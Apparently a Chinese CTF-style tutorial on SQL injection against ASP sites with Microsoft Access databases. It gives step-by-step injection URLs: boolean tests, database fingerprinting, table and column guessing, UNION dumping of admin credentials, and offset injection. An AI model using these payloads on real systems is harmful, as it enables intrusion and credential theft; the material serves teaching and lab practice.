ACCESS注入
简介
ACCESS是微软所推出的数据库,具有强大的数据处理和统计分析能力,常用在各类管理软件上。现如今ACCESS数据库使用占比已经较少,但当我们在测试中遇到这个数据库时,也需要有相关的手法进行测试。当然我们也可以祈祷别遇见他,因为后续的各种猜解会让人难以接受,就像我们暗恋的那个女孩,好像离成功只差一步,却因运气,只好作罢。有个一次这种体验,心里就会产生一个想法:"微软,能不能赶紧删了他"
ACCESS的结构为 数据库->数据表->记录->字段,对,他的数据库只有一个,和其他如mysql等数据库与众不同。他是基于表来对数据进行操作。
注入
当我们测试注入时,首先就是使用"'"来对注入点进行初步判断,然后使用and 1=1 和 and 1=2来进一步验证。
219.153.49.228:45626/new_list.asp?id=1
219.153.49.228:45626/new_list.asp?id=1'
可以看到这里的两个回显是不相同,这时我们可以使用and1=1 和 and 1=2 来进行测试,当然这里需要区分使用的是什么类型,有数字型、字符型、搜索型,分别对应and 1=1 、 ‘ and ‘1’=‘1 、 %' and 1=1 '%'='%,这里测试为数字型注入。下面的截图说明存在sql注入。
http://219.153.49.228:45626/new_list.asp?id=1%20and%201=1
http://219.153.49.228:48343/new_list.asp?id=1%20and%201=2
因为存在很多的数据库,不知道该网站使用的是什么数据库,所以需要对网站的数据库进行探测,看使用的是什么数据库。那么怎么来判断呢?有两种办法,分无报错信息和有报错信息。
1.有报错信息使用一下代码进行测试:
id=1 and (select count(*) from sysobjects)>0 //sysobjects 是SQL表 id=1 and (select count(*) from msysobjects)>0//msysobjects 是access
如果加sysobjects的SQL语句后,网页显示正常, 加msysobject的SQL语句后,网站显示不正常,则说明用的是SQLServer数据库。
2.使用函数来进行测试,因为access使用的是len()函数和chr函数,不支持length和char函数,所以通过这两个函数来进行比对:
http://219.153.49.228:48343/new_list.asp?id=1%20and%20len(1)
http://219.153.49.228:48343/new_list.asp?id=1%20and%20length(1)
猜表名
在猜表名时需要使用exists()函数来进行判断,正确则页面正常回显,不正确就继续更换,看人品咯,我人品好我一次就出来。
http://219.153.49.228:48343/new_list.asp?id=1 and exists(select * from admin)
这时我们已经有表名啦,那我们就可以使用表名来看看回显点在哪啦,发现回显点:
http://219.153.49.228:48343/new_list.asp?id=1 UNION SELECT 1,2,3,4 from admi
猜列名
猜列名首选就是id password username 要是没有,就再改变改变,要是实在不行,那就辞职大法,下辈子注意别学网安就好啦
http://219.153.49.228:48343/new_list.asp?id=1 and exists(select id from admin)
http://219.153.49.228:48343/new_list.asp?id=1 and exists(select username from admin)
http://219.153.49.228:48343/new_list.asp?id=1 and exists(select password from admin) 辞职回家咯
http://219.153.49.228:48343/new_list.asp?id=1 and exists(select passwd from admin) 继续来
得到id,username,passwd三列,接着看看这个具体数据
得出数据
http://219.153.49.228:48343/new_list.asp?id=1 union select 1,id,username,passwd from admin
你妹的,出个13是个啥球子意思,诶!这就是回显位的重要性,前面看回显步骤的时候,显示的是2和3,说明显示位置是在2和3上,那把passwd放4上那不纯纯粹粹就是马大哈嘛!继续
http://219.153.49.228:48343/new_list.asp?id=1 union select 1,username,passwd,2 from admin
出来咯,接下来对他呀进行个解码,打开我们的cmd4+1神器,解出来一登录,ok,拿到了KEY (别真搜索cmd4+1)
就讲这锤子多,真的是磨时间,听说还有个偏移注入,我注锤子,我直接sqlmap当脚本小子。拜拜各位!(sqlmap不支持偏移注入,嘻嘻)
偏移注入
好吧,简述一下偏移注入吧,其实理解上面的注入之后,再来看偏移注入其实十分的简单,首先就是要知道admin.*这个的意思
比如说有一个admin表,表里存在ID passwd username 三个字段,现在这个表我们猜不出来,那怎么办,第一就是不猜了,报告上写个安全测试网站十分安全。第二个就是抢救一下,使用偏移注入,偏移注入不需要知道其列的名字,但是有不必要的条件,就是要知道表名,而且admin.*不能多于前面查询的字段。
举例:
select ID,passwd,username from net where ID=1 and 1=2 union select admin.* from admin 等价于 select ID,passwd,username from net where ID=1 and 1=2 union select ID,passwd,username from admin 保持两查询一致,了解数据回显位置,知道表名,这时就只需要调整admin.*的位置就好了
一级偏移注入
?id=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, * from admin
二级偏移注入
?id=1 union select 1,2,3,4,5,6,7,8,9,10, * from (admin a inner join admin b on a.id=b.id)